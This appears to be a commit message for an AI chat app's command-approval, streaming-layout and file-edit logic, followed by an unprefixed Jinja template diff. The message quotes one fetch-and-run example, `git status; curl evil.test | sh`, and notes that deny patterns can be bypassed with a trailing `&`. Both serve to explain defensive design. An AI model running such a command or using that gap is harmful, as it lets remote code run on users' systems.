A reply you can read while it is still being written

Seven things, and the thread running through them is that the machinery was
right and what a person saw of it was not.

Auto asked about every compound command. `policy.subject` refuses to let any
pattern match a line carrying a shell metacharacter -- correct, and the whole
reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule
on top of that asked whenever a deny list existed at all. The shipped deny list
is non-empty, so `cd build && make` and `pytest | tail` both stopped for
approval in the one mode whose purpose is not stopping. Nobody read that as a
security control; they read it as Auto not working. It is gone, and what it
costs is written down beside it and under the admin field: a deny pattern can be
walked past with a trailing `&`. Matching each segment would restore both.

A forty-round agent reply rendered as three zones -- all the thinking, then
every tool block, then all the prose -- which is fine at two rounds and
unreadable at forty. `Message.steps_json` is a table of contents over the three
stores rather than a fourth copy of any of them, so `build_messages`, compaction
and titling still see one string. No marks means the old layout, which is what
every existing row reads back, with no version flag and no branch in the
template.

Nothing could be expanded while a reply streamed, and that was two faults. The
tool list was replaced wholesale twelve times a second, so an opened block shut
itself within 80ms; the ids are stable now and steps.js puts them back, across
the final swap as well. And the thread snapped to the bottom on every frame, so
a block that did open was scrolled off -- opening one now stops it following
until you scroll back down yourself. Both driven under a DOM stub before
committing, per the note in CLAUDE.md.

The metrics were never wrong, which is why this looked like arithmetic and was
not. One chip is what the reply cost and the other is what the conversation
occupies; on a multi-round reply those differ by a lot and neither said which it
was. What was broken is that they stood still -- usage arrives once a round, and
`reported or estimated` stops consulting the estimate the moment the first chunk
lands -- and that the `~` marking an estimate vanished at exactly the point
everything became one. Interpolated between counts now, never over them.

Background jobs had no surface at all. A chip counting what is still running and
a panel with each job's command, state, log tail and a Stop button; the fifth
exception to "the modes govern the model, not the interface", for the reason the
other four are.

file_edit had two faults worth more than the error text. A file it could not
read was reported to the model as an empty one, and a file too large to read
whole was patched and written back by a call that replaces -- deleting
everything past the ceiling, silently, and reporting success with a byte count.
Both refused now. A refused hunk also prints the file around where it landed,
which is most of the retry loop these models get into.

And a model can talk itself to a standstill: a round with no tool calls is a
model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..."
ended the reply having done nothing. `core.commit` is the prompt half and a
second nudge signal is the other, narrowed to a long reply that touched nothing
so that finishing is never argued with.

Also: the scope menu is called Toggle and no longer offers to type an `@` for
you, and "Always allow this" says when it has stored nothing rather than
appearing to work.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
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@@ -95,28 +95,16 @@
{% endif %}
{% if streaming %}
{# Reasoning arrives before the answer, so this block sits above it.
Closed by default -- the answer is what the reader is waiting for, and
the thinking is one click away. The :has() rule in chat.css hides the
whole thing while it is still empty, so models that emit no reasoning
never show an empty box. #}
<details class="reasoning reasoning--live" id="reasoning-{{ message.id }}">
<summary class="reasoning__summary">
{{ icon("sparkle", "icon--sm reasoning__icon") }}
<span class="reasoning__label">Thinking…</span>
{{ icon("chevron-down", "icon--sm reasoning__chevron") }}
</summary>
{# innerHTML, not beforeend: the frame carries the whole block of
thinking each time, exactly as `render` and `tools` do. Appending it
repeated everything already shown, so the panel grew quadratically. #}
<div class="reasoning__body" sse-swap="reasoning" hx-swap="innerHTML"></div>
</details>
{# Tool activity as it happens. Empty until the model asks for something,
and the whole block is replaced each time rather than appended to --
a follower attaching late has no earlier fragments to build on. #}
<div class="tool-activity-list" id="tools-{{ message.id }}"
sse-swap="tools" hx-swap="innerHTML"></div>
{# The reply as a sequence of steps, in the order they happened. The
closed ones are re-sent only when a round ends; the two live containers
come with them, inside `_steps.html`, which is how the tail blanks
itself. See services/steps.py. #}
<div class="msg__steps" id="steps-{{ message.id }}" data-steps
sse-swap="steps" hx-swap="innerHTML">
{% with steps = [], live = true %}
{% include "chat/_steps.html" %}
{% endwith %}
</div>
{# Where a question from the model, or a command waiting to be allowed,
lands. Unlike the blocks above it this frame is sent on every version
@@ -126,11 +114,6 @@
<div class="interaction-slot" id="ask-{{ message.id }}"
sse-swap="ask" hx-swap="innerHTML"></div>
{# The server re-renders the answer as Markdown a few times a second and
replaces this whole block, so formatting appears as the model writes
rather than snapping into place at the end. #}
<div class="msg__body msg__body--live" id="stream-{{ message.id }}"
sse-swap="render" hx-swap="innerHTML"></div>
{# No stop button here: the composer's send button becomes Stop while a
reply is being written, which is where the hand already is. #}
<div class="msg__waiting">
@@ -145,34 +128,26 @@
<div class="msg__metrics" id="metrics-{{ message.id }}"
sse-swap="metrics" hx-swap="innerHTML"></div>
{% else %}
{# Finished. Same order as the live view above -- thinking, then what it
looked up, then the answer -- so a reply does not rearrange itself the
moment it stops streaming. #}
{% if message.reasoning and not message.error %}
{# Collapsed once finished: the answer is what the reader came for, and
the thinking is there if they want to audit it. #}
<details class="reasoning" id="reasoning-{{ message.id }}">
<summary class="reasoning__summary">
{{ icon("sparkle", "icon--sm reasoning__icon") }}
<span class="reasoning__label">
{% if message.reasoning_ms %}
Thought for {{ message.reasoning_ms | duration }}
{% else %}
Reasoning
{% endif %}
</span>
{{ icon("chevron-down", "icon--sm reasoning__chevron") }}
</summary>
<div class="reasoning__body">{{ message.reasoning }}</div>
</details>
{% endif %}
{# Finished, and rendered from the same partial the live view uses so the
bubble cannot rearrange itself the moment the stream ends.
{% if message.tool_calls_json %}
{# Kept with the message rather than discarded with the stream, so the
`message_steps` is a Jinja global rather than something each handler
passes, for the reason `tool_label` is: this template is rendered from
four different places and a fifth thing to remember is a fifth thing one
of them forgets. A reply written before the marks existed has none, and
`steps.py` answers that with the old layout exactly -- thinking, then
every tool block, then the whole answer.
Kept with the message rather than discarded with the stream, so the
sources behind an answer are still there tomorrow. #}
<div class="tool-activity-list">
{% with tool_events = message.tool_calls_json, live = false %}
{% include "chat/_tool_activity.html" %}
{% if message.role == "assistant" %}
{# The same id and the same marker as the live container. That is what
carries an opened block across the `done` frame, which replaces the
whole bubble: steps.js keys what it remembers on this id, and the ids
inside come from the mark index either way. #}
<div class="msg__steps" id="steps-{{ message.id }}" data-steps>
{% with steps = message_steps(message), live = false %}
{% include "chat/_steps.html" %}
{% endwith %}
</div>
{% endif %}
@@ -188,9 +163,6 @@
{% endif %}
{% if message.role == "assistant" %}
{% if message.content %}
<div class="msg__body">{{ body_html|safe }}</div>
{% endif %}
{% if message.stopped %}
<p class="msg__note">{{ icon("x", "icon--sm") }} Stopped. This reply is cut short.</p>
{% endif %}